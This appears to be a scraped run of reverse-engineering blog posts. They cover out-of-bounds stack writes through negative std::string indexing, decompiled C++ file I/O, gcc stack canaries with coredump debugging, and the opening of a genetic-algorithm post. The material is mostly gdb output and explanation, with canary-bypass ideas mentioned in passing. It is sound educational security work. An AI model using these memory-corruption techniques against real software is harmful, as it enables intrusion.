<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigrnnPnN9nFVA6COIPo6mwJhYVrg07EIrPOnGL-t-JZN0B6rxwmVBwj3fUPYuAopSKZUNIBXw7qbKnqy2ImeSDPQrbCqfYHv8g2_xTFatuYZlKsrSFhNKKpg_x6vLv2nuWz_BO/s1600/ghidra.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="241" data-original-width="697" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigrnnPnN9nFVA6COIPo6mwJhYVrg07EIrPOnGL-t-JZN0B6rxwmVBwj3fUPYuAopSKZUNIBXw7qbKnqy2ImeSDPQrbCqfYHv8g2_xTFatuYZlKsrSFhNKKpg_x6vLv2nuWz_BO/s1600/ghidra.png" /></a></div>
<br />
So the string constructor, getting size and adding -2 is clear. Then come the operator<< to concat the strings.<br />
Then we see the operator[] when it will crash with the negative index.<br />
In assembly is more clear, it will call operator[] to get the value, and there will hapen the magic dereference happens. The operator[] will end up returning an invalid address that will crash at [RAX]<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjj7ow25Yf6bV9DSW6OJbId75gIF3gaw7ecUZ_fnSnHOaruBSfM9ELx_YpuFM2xiD2VGOhyphenhyphenvKf-cw-RUQR0KVGGkFtjL0b9F7caNqznuRIprQa-bAwO8-4syafJ2YgVuOelEF7z/s1600/asm_ghidra.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="237" data-original-width="458" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjj7ow25Yf6bV9DSW6OJbId75gIF3gaw7ecUZ_fnSnHOaruBSfM9ELx_YpuFM2xiD2VGOhyphenhyphenvKf-cw-RUQR0KVGGkFtjL0b9F7caNqznuRIprQa-bAwO8-4syafJ2YgVuOelEF7z/s1600/asm_ghidra.png" /></a></div>
<br />
<br />
In gdb the operator[] is a allq 0x555555555180 <_znst7__cxx1112basic_stringicst11char_traitsicesaiceeixem plt=""></_znst7__cxx1112basic_stringicst11char_traitsicesaiceeixem><br />
<br />
(gdb) i r rsi<br />
rsi 0xfffffffffffefffe -65538<br />
<br />
<br />
The implmementation of operator ins in those functions below:<br />
<br />
(gdb) bt<br />
#0 0x00007ffff7feebf3 in strcmp () from /lib64/ld-linux-x86-64.so.2<br />
#1 0x00007ffff7fdc9a5 in check_match () from /lib64/ld-linux-x86-64.so.2<br />
#2 0x00007ffff7fdce7b in do_lookup_x () from /lib64/ld-linux-x86-64.so.2<br />
#3 0x00007ffff7fdd739 in _dl_lookup_symbol_x () from /lib64/ld-linux-x86-64.so.2<br />
#4 0x00007ffff7fe1eb7 in _dl_fixup () from /lib64/ld-linux-x86-64.so.2<br />
#5 0x00007ffff7fe88ee in _dl_runtime_resolve_xsavec () from /lib64/ld-linux-x86-64.so.2<br />
#6 0x00005555555554b3 in main (argc=2, argv=0x7fffffffe118) at main.cpp:29<br />
<div>
<br /></div>
<div>
Then crashes on the MOVZX EAX, byte ptr [RAX]</div>
<div>
<br /></div>
<div>
Program received signal <b>SIGSEGV</b>, Segmentation fault.</div>
0x00005555555554b3 in main (argc=2, argv=0x7fffffffe118) at main.cpp:29<br />
29<span style="white-space: pre;"> </span> cout << "penultimate byte is " << hex << s[i] << endl;<br />
(gdb)<br />
<br />
<br />
What about negative indexing in std::string::operator[] ?<br />
It's exploitable!<br />
<br />
In a C char array is known that having control of the index, we can address memory.<br />
Let's see what happens with C++ strings:<br />
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUs5Wf9_jExFANloqZRdfvl8FfjuJDQZfF3OSnkBiLwhpgfo4Nc2T37SgvbwVgtTkhTsZxpY7V2drEOiU8xOoexdSDRSmbuA7teY4dQ3bLmUYu-VwS7-Q6ewTnbLtl1A7Qx43n/s1600/code_asignation.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="40" data-original-width="144" height="88" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgUs5Wf9_jExFANloqZRdfvl8FfjuJDQZfF3OSnkBiLwhpgfo4Nc2T37SgvbwVgtTkhTsZxpY7V2drEOiU8xOoexdSDRSmbuA7teY4dQ3bLmUYu-VwS7-Q6ewTnbLtl1A7Qx43n/s320/code_asignation.png" width="320" /></a></div>
<br />
<br />
<br />
The operator[] function call returns the address of string plus 10, and yes, we can do abitrary writes.<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiT6GKeWn7l7fOa4ijIWo42cmT-KeF4bwvp3ORYii9jSz_yCwgCYa9LVq85m7HtLv5LQTZZgnnr8undG65dNk95EbwSiHA31C4WNp46fL1zIsPa10AXg17Pr8A-bYJ_Lwy9zyvx/s1600/ghidra_operator.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="50" data-original-width="398" height="80" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiT6GKeWn7l7fOa4ijIWo42cmT-KeF4bwvp3ORYii9jSz_yCwgCYa9LVq85m7HtLv5LQTZZgnnr8undG65dNk95EbwSiHA31C4WNp46fL1zIsPa10AXg17Pr8A-bYJ_Lwy9zyvx/s640/ghidra_operator.png" width="640" /></a></div>
<br />
Note that gdb displays by default with at&t asm format wich the operands are in oposite order:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjk-8Lg1x6lTRGnqpCCmmqdZ3vuQ9xpJIYoJtzLyBIrjCVuyOcG1BJdd3BrFYlTcTHvaA_SHhl9U2bXQXARCZcdH_9FanYyJZjBH7kZYR3AS3_iiUfahyphenhyphen3wrt5cNOXcIInKVW8v/s1600/operator_overwrite_gdb.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="41" data-original-width="980" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjk-8Lg1x6lTRGnqpCCmmqdZ3vuQ9xpJIYoJtzLyBIrjCVuyOcG1BJdd3BrFYlTcTHvaA_SHhl9U2bXQXARCZcdH_9FanYyJZjBH7kZYR3AS3_iiUfahyphenhyphen3wrt5cNOXcIInKVW8v/s1600/operator_overwrite_gdb.png" /></a></div>
<br />
And having a string that is in the stack, controlling the index we can perform a write on the stack.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGDRymomivRMJ_5DQergf_2sjO_Dl8TbUcvTZd7lXQDrO5Nhg189LmxMYKLBPHyYU6XmCl2IX2rHsYEZP76S607KYC0F0LA74ZBvOqmisp9XPtqWUh_JWN_kO75hWU_xZbUaUT/s1600/arbitrary_write.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="140" data-original-width="486" height="184" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGDRymomivRMJ_5DQergf_2sjO_Dl8TbUcvTZd7lXQDrO5Nhg189LmxMYKLBPHyYU6XmCl2IX2rHsYEZP76S607KYC0F0LA74ZBvOqmisp9XPtqWUh_JWN_kO75hWU_xZbUaUT/s640/arbitrary_write.png" width="640" /></a></div>
<br />
<br />
To make sure we are writing outside the string, I'm gonna do 3 writes:<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiX88BquQAkPAeg5XGZxOAGySxRJQahCR6YETZff4WQSS3ip-qJKab8s_w2e1r9EoAQpEUqm7n7fvRHGv4clvjJ4BPhIF1UwBrP2-qhyaTcb0dGQvTgcADptuAXqjBKteAz8PVE/s1600/code_3writes.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="72" data-original-width="142" height="202" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiX88BquQAkPAeg5XGZxOAGySxRJQahCR6YETZff4WQSS3ip-qJKab8s_w2e1r9EoAQpEUqm7n7fvRHGv4clvjJ4BPhIF1UwBrP2-qhyaTcb0dGQvTgcADptuAXqjBKteAz8PVE/s400/code_3writes.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
See below the command "i r rax" to view the address where the write will be performed.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXSsPiea1u0KIdQy98rkr0_fpO31v2xW9P7Z-1zIbIzx_NKdXQdcut4lyFzZ5TSY1aKmFDuDV8Jzrxrvgo39vGM32hbqREZJLQzcRAL7cWc0WnWHdTN23Tejb6FxliKCxog9Si/s1600/3writes.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="552" data-original-width="648" height="544" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgXSsPiea1u0KIdQy98rkr0_fpO31v2xW9P7Z-1zIbIzx_NKdXQdcut4lyFzZ5TSY1aKmFDuDV8Jzrxrvgo39vGM32hbqREZJLQzcRAL7cWc0WnWHdTN23Tejb6FxliKCxog9Si/s640/3writes.png" width="640" /></a></div>
<br />
The beginning of the std::string object is 0x7fffffffde50.<br />
Write -10 writes before the string 0x7fffffffde46.<br />
And write -100 segfaults because is writting in non paged address.<br />
<br />
<br />
<br />
So, C++ std::string probably is not vulnerable to buffer overflow based in concatenation, but the std::string::operator[] lack of negative indexing control and this could create vulnerable and exploitable situations, some times caused by a signed used of the unsigned std::string.size()<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<div>
<br /></div>
<br />Jesúshttp://www.blogger.com/profile/08849754854640967545noreply@blogger.com0tag:blogger.com,1999:blog-34286802.post-51761391343455777102019-11-24T20:26:00.000+01:002019-11-24T20:26:46.929+01:00reversing some c++ io operationsIn general decompilers are not friendly with <i>c++</i> let's analyse a simple program to get familiar with it.<br />
Let's implement a simple code that loads a file into a vector and then save the vector with following functions:<br />
<br />
<ul>
<li>err</li>
<li>load</li>
<li>save</li>
<li>main</li>
</ul>
<br />
<br />
Lets identify the typical way in C++ to print to stdout with the operator "<<"<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9iZ59CUhHf2L4DXH1EsK29t2wGvoeaUPmlpJIoEsg58fPxLbqUqKUSYqiTBMA9WH-x8uqBZ2Ry3QkomVuO-IsY-EFqtRletUddMyICd_xf57k1SWvTskZX3s699cNX_vTZqnv/s1600/decomp_err.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="168" data-original-width="697" height="153" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9iZ59CUhHf2L4DXH1EsK29t2wGvoeaUPmlpJIoEsg58fPxLbqUqKUSYqiTBMA9WH-x8uqBZ2Ry3QkomVuO-IsY-EFqtRletUddMyICd_xf57k1SWvTskZX3s699cNX_vTZqnv/s640/decomp_err.png" width="640" /></a></div>
<br />
The basic_ostream is initialized writing the word "error" to the cout, and then the operator<< again to add the endl.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEin-jehzHSjbDDd5dDwebdaCdhj4MgNrLJDLE_qT3t08JcmxH6PQfD3CD_jezHyMiiickAf2XWuJYO7A6gerLEwFHy8e0q9g95lkvm6jUUzy7Vgv3ZHJyRH69nursciOIHzkkTu/s1600/code_err.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="91" data-original-width="300" height="120" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEin-jehzHSjbDDd5dDwebdaCdhj4MgNrLJDLE_qT3t08JcmxH6PQfD3CD_jezHyMiiickAf2XWuJYO7A6gerLEwFHy8e0q9g95lkvm6jUUzy7Vgv3ZHJyRH69nursciOIHzkkTu/s400/code_err.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<br />
The Main function simply calls "<i>vec = load(filename)</i>" but the compiler modified it and passed the vector pointer as a parámeter. Then it bulds and prints "loaded " << size << " users".<br />
And finally saves the vector to /tmp/pwd and print "saved".<br />
Most of the mess is basically the operator "<<" to concat and print values.<br />
Also note that the vectors and strings are automatically deallocated when exit the function.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdZ9FeFSh5F0rBt2ImG-GQm3EuQH5h6ZxIWgs8XU-aagZOFDHMfXgBWwiZD_AkAm48qlwcaiMce8ur5h0ZrOOTAq46eAAs2BKmoE0BiDiiW0nblioP2_-wonBG4M2-Im4rIFCB/s1600/disas_main.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="494" data-original-width="726" height="434" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhdZ9FeFSh5F0rBt2ImG-GQm3EuQH5h6ZxIWgs8XU-aagZOFDHMfXgBWwiZD_AkAm48qlwcaiMce8ur5h0ZrOOTAq46eAAs2BKmoE0BiDiiW0nblioP2_-wonBG4M2-Im4rIFCB/s640/disas_main.png" width="640" /></a></div>
<br />
And here is the code:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIyzGgnMWcNKmdQhqZARq9S5yFjTHnmk1WvgRKrHa-V1QJ09BDyOgF53Bxbv0Yb3oCZxQEXTiQSjjeB-hpYwTHrewtnBxRN9s8XMNPrXWzQIpTVH2dC-WT3fcgESRgh4BMZckC/s1600/code_main.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="240" data-original-width="544" height="281" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgIyzGgnMWcNKmdQhqZARq9S5yFjTHnmk1WvgRKrHa-V1QJ09BDyOgF53Bxbv0Yb3oCZxQEXTiQSjjeB-hpYwTHrewtnBxRN9s8XMNPrXWzQIpTVH2dC-WT3fcgESRgh4BMZckC/s640/code_main.png" width="640" /></a></div>
<br />
<br />
Let's take a look to the load function, which iterates the ifs.getline() and push to the vector.<br />
First of all there is a mess on the function definition, __return_storage_ptr is the vector.<br />
the ifstream object ifs is initialized as a basic_ifstream and then operator! checks if it wasn't possible to open the file and in that case calls err()<br />
We see the memset and a loop, getline read a cstr like line from the file, and then is converted to a string before pushing it to the vector. lVar1 is the stack canary value.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHSnwO9bAPbbBbDjaOPG69swghyOpM5bU2nAluVh4_ooiybDtkke2HtmJJ2HtNL2ZgwIr2OlWlY4F7uaQ8ByBgOJX4YteSBOowh5UhwluHKohiRZSO0qun1jfVvU-Z7WFPn4RO/s1600/decomp_load.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="822" data-original-width="706" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiHSnwO9bAPbbBbDjaOPG69swghyOpM5bU2nAluVh4_ooiybDtkke2HtmJJ2HtNL2ZgwIr2OlWlY4F7uaQ8ByBgOJX4YteSBOowh5UhwluHKohiRZSO0qun1jfVvU-Z7WFPn4RO/s1600/decomp_load.png" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: center;">
</div>
In this situations dont obfuscate with the vector pointer vec initialization at the begining, in this case the logic is quite clear.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4OszxvoibQ-MpF_aqIKp9cpyAiD5C1pF5O8F7UoYUG4ELDt6DVUDXVfGnxmVxFrC_QCkOEqq_ToYMRdKKKL3aVvqnsyiBdK_vpMzXsF3amezO_TXo-tvzBkE0rUi-TDW17yF5/s1600/code_load.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="319" data-original-width="442" height="461" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4OszxvoibQ-MpF_aqIKp9cpyAiD5C1pF5O8F7UoYUG4ELDt6DVUDXVfGnxmVxFrC_QCkOEqq_ToYMRdKKKL3aVvqnsyiBdK_vpMzXsF3amezO_TXo-tvzBkE0rUi-TDW17yF5/s640/code_load.png" width="640" /></a></div>
<br />
<br />
The function save is a bit more tricky, but it's no more than a vector iteration and ofs writing.<br />
Looping a simple "for (auto s : *vec)" in the decompiler is quite dense, but we can see clearly two write, the second write DAT_0010400b is a "\n"<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyuz9UeBvBSuiT-kIr26CtS_6-Y0GFqyD8Pqtn3jT9cq0-47Erw8y8CBKBDbmW83FssXZcyCNWr9bMkiAODRiulrUB27QCpneIAMEtkExUFlS4BrSB8DKoBWxMuo6mGfOD86N6/s1600/decomp_save1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="821" data-original-width="713" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhyuz9UeBvBSuiT-kIr26CtS_6-Y0GFqyD8Pqtn3jT9cq0-47Erw8y8CBKBDbmW83FssXZcyCNWr9bMkiAODRiulrUB27QCpneIAMEtkExUFlS4BrSB8DKoBWxMuo6mGfOD86N6/s1600/decomp_save1.png" /></a></div>
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitN4RLJxH1ielxK-C1piujFEfhvLQxtn9ULX9shplDIVFTVD7uQ7i6R75eQ3csJArNpacUu3HKMFLJ862iq0MjBRmBTrz89GaEN4Syddvem1U7IsQyjKGgYxM485xLRZFELt42/s1600/decomp_save2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="332" data-original-width="707" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitN4RLJxH1ielxK-C1piujFEfhvLQxtn9ULX9shplDIVFTVD7uQ7i6R75eQ3csJArNpacUu3HKMFLJ862iq0MjBRmBTrz89GaEN4Syddvem1U7IsQyjKGgYxM485xLRZFELt42/s640/decomp_save2.png" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
As we see, save implememtation is quite straightforward.<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPK263KIRYhCKn1C0VWVpNilAbIQ0vASrhBVrvz8c5aILp1WwfezYbLXDLeNboHwJ_Q_q1rpTVo4jAqst5rgwnHq-EVDcgL3E7UpBR3F38X92241m0K-IdgKlh2aUbdshHmDZF/s1600/code_save.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="209" data-original-width="524" height="254" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjPK263KIRYhCKn1C0VWVpNilAbIQ0vASrhBVrvz8c5aILp1WwfezYbLXDLeNboHwJ_Q_q1rpTVo4jAqst5rgwnHq-EVDcgL3E7UpBR3F38X92241m0K-IdgKlh2aUbdshHmDZF/s640/code_save.png" width="640" /></a></div>
<br />
<br />Jesúshttp://www.blogger.com/profile/08849754854640967545noreply@blogger.com0tag:blogger.com,1999:blog-34286802.post-56160264461634033702019-11-21T18:28:00.006+01:002019-11-24T20:25:52.268+01:00linux stack protection by defaultModern <i>gcc</i> compiler (v9.2.0) protects the stack by default and you will notice it because instead of <i>SIGSEGV</i> on stack overflow you will get a <i>SIGABRT</i>, but it also generates coredumps.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgimhklQQ1TTaOiWdZOd5cEj7njL_XUZtbiB0bbcVSGorn_75mSUy9AyoL_qfS28IZZDm3OsCnJrPCVNcq0LTC-uEAH5AYnNFbg7IIM7JMThPNGZZvTCPeZa3gZS8r0D4hH2gqt/s1600/decompiler2.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="245" data-original-width="433" height="362" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgimhklQQ1TTaOiWdZOd5cEj7njL_XUZtbiB0bbcVSGorn_75mSUy9AyoL_qfS28IZZDm3OsCnJrPCVNcq0LTC-uEAH5AYnNFbg7IIM7JMThPNGZZvTCPeZa3gZS8r0D4hH2gqt/s640/decompiler2.png" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
In this case the compiler adds the variable <i>local_10</i>. This variable helds a canary value that is checked at the end of the function.<br />
The memset overflows the four bytes stack variable and modifies the canary value.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLpAyKEfgZfA8JCgnzrXhJCtmORMyFilj53kiRD9khPehuwCN3sHvBleGMrQftEtBMIxwGtVuKbEuga74MrsBj3XHB9K6shHfXphgnYaYhaSpQQf_-W0qpopNnEU9zMLBYiEzY/s1600/debugging.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="543" data-original-width="698" height="496" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLpAyKEfgZfA8JCgnzrXhJCtmORMyFilj53kiRD9khPehuwCN3sHvBleGMrQftEtBMIxwGtVuKbEuga74MrsBj3XHB9K6shHfXphgnYaYhaSpQQf_-W0qpopNnEU9zMLBYiEzY/s640/debugging.png" width="640" /></a></div>
<br />
<br />
The <i>64bits</i> canary <i>0x5429851ebaf95800</i> can't be predicted, but in specific situations is not re-generated and can be bruteforced or in other situations can be leaked from memory for example using a format string vulnerability or an arbitrary read wihout overflowing the stack.<br />
<br />
If the canary doesn't match, the libc function <i>__stack_chck_fail</i> is called and terminates the prorgam with a <i>SIGABORT</i> which generates a coredump, in the case of archlinux managed by systemd and are stored on "/var/lib/systemd/coredump/"<br />
<br />
<br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">❯❯❯ ./test </span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">*** stack smashing detected ***: <unknown> terminated</unknown></span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">fish: './test' terminated by signal SIGABRT (Abort)</span><br />
<div>
<br /></div>
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">❯❯❯</span><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> </span><span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">sudo lz4 -d core.test.1000.c611b7caa58a4fa3bcf403e6eac95bb0.1121.1574354610000000.lz4</span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">[sudo] password for xxxx: </span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">Decoding file core.test.1000.c611b7caa58a4fa3bcf403e6eac95bb0.1121.1574354610000000 </span><br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;">core.test.1000.c611b : decoded 249856 bytes </span><br />
<br />
<span style="font-family: "courier new" , "courier" , monospace; font-size: x-small;"> ❯❯❯ sudo gdb /home/xxxx/test core.test.1000.c611b7caa58a4fa3bcf403e6eac95bb0.1121.1574354610000000 -q </span><br />
<div>
<br /></div>
<br />
We specify the binary and the core file as a gdb parameters. We can see only one LWP (light weight process) or linux thread, so in this case is quicker to check. First of all lets see the back trace, because in this case the execution don't terminate in the segfaulted return.<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjaaa_PQ2_Dln4_WGZbdbi_XZZ6BEmC7hUcvKetWQxE3o9ukdqPmtZP8a_SdtFfSg8g1D60GWEcwACUd5AhM1y6GZIKHuCxBl6po_Nf9aa4MNZOEk4B1mUd5kJqSdyrPkVYq8Pr/s1600/bt.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="228" data-original-width="664" height="218" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjaaa_PQ2_Dln4_WGZbdbi_XZZ6BEmC7hUcvKetWQxE3o9ukdqPmtZP8a_SdtFfSg8g1D60GWEcwACUd5AhM1y6GZIKHuCxBl6po_Nf9aa4MNZOEk4B1mUd5kJqSdyrPkVYq8Pr/s640/bt.png" width="640" /></a></div>
<br />
<br />
We can see on frame 5 the address were it would had returned to main if it wouldn't aborted.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggHlzsOQbl4O0v6aAUp1LgHnSKEt3KPrGxMhyNbaSFXJS8h_BJd8kC-uJdTa1sZfA8NOc4S-gyIxRLG4Uk26Et48_Ia2Iiz7fnH8Gj5ok8J8mhHap6rqQ5j67uEiQUnYdyHuho/s1600/leave.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="67" data-original-width="368" height="116" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEggHlzsOQbl4O0v6aAUp1LgHnSKEt3KPrGxMhyNbaSFXJS8h_BJd8kC-uJdTa1sZfA8NOc4S-gyIxRLG4Uk26Et48_Ia2Iiz7fnH8Gj5ok8J8mhHap6rqQ5j67uEiQUnYdyHuho/s640/leave.png" width="640" /></a></div>
<br />
<br />
Happy Idea: we can use this stack canary aborts to detect stack overflows. In Debian with prevous versions it will be exploitable depending on the compilation flags used.<br />
And note that the canary is located as the last variable in the stack so the previous variables can be overwritten without problems.<br />
<br />
<br />
<br />
<br />Jesúshttp://www.blogger.com/profile/08849754854640967545noreply@blogger.com0tag:blogger.com,1999:blog-34286802.post-91399720797848509432019-11-16T17:06:00.002+01:002019-12-20T20:38:28.392+01:00evolving logic until pass tests automaticallyAutomating the automation is still a challenge, but in some cases it's possible under certain situations.<br />
<br />
In 2017 I created logic-evolver, one of my experiments for creating logic automatically or better said evolving logic automatically.<br />
<br />
In some way, the computer create its own program that satisfies a set of tests defined by a human.<br />
<br />
<a href="https://github.com/sha0coder/logic-evolver">https://github.com/sha0coder/logic-evolver</a><br />
<br />
This implementation in rust, contains a fast cpu emulator than can execute one million instructions in less than two seconds. And a simple genetic algorithm to do the evolution.<br />
<br />
<br />
Here we create the genetic algorithm, and configure a population of 1000 individuals, and the top 5 to crossover. We run the genetic algorithm with 500 cycles maximum.<br />
Note that in this case the population are programs initially random until take the correct shape.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhILPGlw33qdnkbwEtTNmqXZgavQ0Z3EyQw2buiePV2l_G7iIK8Hpdumra-7rkV1tIkoKf2sFrwOwGeLx-QHoac5Xz-6M_lnMpdKyfNoW-6VQCRemzXwDIYQyXPUSe-e70b0VRb/s1600/instanciating+GA.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="126" data-original-width="382" height="131" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhILPGlw33qdnkbwEtTNmqXZgavQ0Z3EyQw2buiePV2l_G7iIK8Hpdumra-7rkV1tIkoKf2sFrwOwGeLx-QHoac5Xz-6M_lnMpdKyfNoW-6VQCRemzXwDIYQyXPUSe-e70b0VRb/s400/instanciating+GA.png" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
An evaluation function is provided in the run method as well, and looks like this:<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4yI3fbm_LWZVml83PRSzI-Xcc1Vneq_98TESQGHsl6MsFLNbO__Xch0z6RlwHlfbB0vYGvRiuusoOXBMlx8Bxb0IydLIPi5gGRJfKfD3uh9SIM-0P0knr6Cq-drkGKCB3keIf/s1600/test1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="751" data-original-width="499" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4yI3fbm_LWZVml83PRSzI-Xcc1Vneq_98TESQGHsl6MsFLNbO__Xch0z6RlwHlfbB0vYGvRiuusoOXBMlx8Bxb0IydLIPi5gGRJfKfD3uh9SIM-0P0knr6Cq-drkGKCB3keIf/s400/test1.png" width="262" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
